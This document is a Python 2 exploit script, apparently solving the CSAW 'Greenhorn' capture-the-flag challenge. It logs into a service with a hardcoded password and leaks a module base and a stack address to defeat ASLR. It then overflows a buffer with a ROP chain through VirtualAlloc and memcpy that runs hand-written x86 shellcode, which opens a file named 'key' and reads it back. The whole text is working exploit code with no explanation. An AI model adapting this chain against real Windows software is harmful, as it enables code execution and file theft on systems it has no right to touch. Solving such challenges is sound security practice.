import socket
import re
from struct import pack
from time import sleep

def recv_until(s, string=""):
    text = ""
    while 1 :
        data = s.recv(4096)
        text+=data
        if not data or data.find(string) != -1:
            break
    return text

def leak(s):
    s.send("A\n")
    text = recv_until(s, "Selection:")
    slide, stack = re.findall('0x[0-9a-f]{8}', text)
    slide = int(slide, 16) + 0x400000
    stack = int(stack, 16)
    return (slide, stack)

def vuln(s, payload):
    s.send("V\n")
    recv_until(s, "(with some constraints).")
    s.send(payload)

host = '192.168.0.10'
s=socket.create_connection((host, 9998))


recv_until(s, "Password:")
s.send('GreenhornSecretPassword!!!\n')

### leak
recv_until(s, 'Selection:')
slide, stack =  leak(s)

VirtualAlloc = 0x11c0 + slide
memcpy = 0x1684 + slide
print_output = 0x14d0 + slide
pop4 = 0x199e + slide
ret = 0x19a2 + slide
eip_off = 0x404
buffer_start = stack - 0x3f8
shellcode_loc = buffer_start + 4
shellcode_len = 0x400

### ROP
"""cedcl_ convention"""
rop = [
        VirtualAlloc, #wrapper
        pop4,
        0,
        0x1000,
        0x40,
        buffer_start + eip_off + 4 * 8, #will stock ptr to alloc' zone in memcpy 1st arg
        memcpy,
        ret, #will return to 1st param
        0xcccccccc,
        shellcode_loc,
        shellcode_len
        ]

shellcode = [0x55, 0x89, 0xE5, 0x81, 0xEC, 0x10, 0x00, 0x00, 0x00, 0x89, 0x45,
	0xFC, 0x64, 0x8B, 0x1D, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x5B, 0x0C, 0x8B,
	0x5B, 0x14, 0x8B, 0x1B, 0x8B, 0x1B, 0x8B, 0x5B, 0x10, 0x8B, 0x73, 0x3C,
	0x01, 0xDE, 0x8B, 0x76, 0x78, 0x01, 0xDE, 0x56, 0x8B, 0x7E, 0x20, 0x01,
	0xDF, 0x8B, 0x4E, 0x14, 0x31, 0xC0, 0x57, 0x51, 0x8B, 0x3F, 0x01, 0xDF,
	0xBE, 0xFA, 0x00, 0x00, 0x00, 0x03, 0x75, 0xFC, 0x31, 0xC9, 0xB1, 0x0E,
	0xF3, 0xA6, 0x59, 0x5F, 0x74, 0x0B, 0x81, 0xC7, 0x04, 0x00, 0x00, 0x00,
	0x40, 0xE2, 0xDF, 0x0F, 0x0B, 0x5E, 0x8B, 0x56, 0x24, 0x01, 0xDA, 0xD1,
	0xE0, 0x01, 0xD0, 0x31, 0xC9, 0x66, 0x8B, 0x08, 0x8B, 0x46, 0x1C, 0x01,
	0xD8, 0xC1, 0xE1, 0x02, 0x01, 0xC8, 0x8B, 0x10, 0x01, 0xDA, 0x5E, 0x89,
	0xF7, 0x31, 0xC9, 0x89, 0x55, 0xF8, 0x89, 0x5D, 0xF4, 0xBE, 0x09, 0x01,
	0x00, 0x00, 0x03, 0x75, 0xFC, 0x56, 0xFF, 0x75, 0xF4, 0xFF, 0x55, 0xF8,
	0x89, 0xC3, 0x68, 0x6B, 0x65, 0x79, 0x00, 0x89, 0xE0, 0x68, 0x00, 0x00,
	0x00, 0x00, 0x68, 0x80, 0x00, 0x00, 0x00, 0x68, 0x03, 0x00, 0x00, 0x00,
	0x68, 0x00, 0x00, 0x00, 0x00, 0x68, 0x01, 0x00, 0x00, 0x00, 0xB9, 0x00,
	0x00, 0x00, 0x80, 0x51, 0x50, 0xFF, 0xD3, 0x81, 0xC4, 0x04, 0x00, 0x00, 
	0x00, 0x50, 0xBE, 0x15, 0x01, 0x00, 0x00, 0x03, 0x75, 0xFC, 0x56, 0xFF,
	0x75, 0xF4, 0xFF, 0x55, 0xF8, 0x5B, 0x81, 0xEC, 0x00, 0x01, 0x00, 0x00,
	0x89, 0xE1, 0x68, 0x00, 0x00, 0x00, 0x00, 0x68, 0x00, 0x00, 0x00, 0x00,
	0x68, 0x00, 0x01, 0x00, 0x00, 0x51, 0x53, 0xFF, 0xD0, 0x8B, 0x45, 0xFC,
	0x8B, 0x80, 0x1E, 0x01, 0x00, 0x00, 0x54, 0xFF, 0xD0, 0x0F, 0x0B, 0x47,
	0x65, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73,
	0x73, 0x00, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x46, 0x69, 0x6C, 0x65,
	0x41, 0x00, 0x52, 0x65, 0x61, 0x64, 0x46, 0x69, 0x6C, 0x65, 0x00,
	 # exclude last 4 bytes since we want to replace them
	0xCC, 0xCC, 0xCC, 0xCC, ][:-4]

exploit = "CSAW" #mandatory

exploit += "".join([chr(c) for c in shellcode])
exploit += pack("<I", print_output) #print result of ReadFile back to us

exploit += "\xcc"*(eip_off - len(exploit))

exploit += "".join([pack("<I", dword) for dword in rop])

vuln(s, exploit)
s.shutdown(socket.SHUT_WR)
sleep(1)

print s.recv(1024)
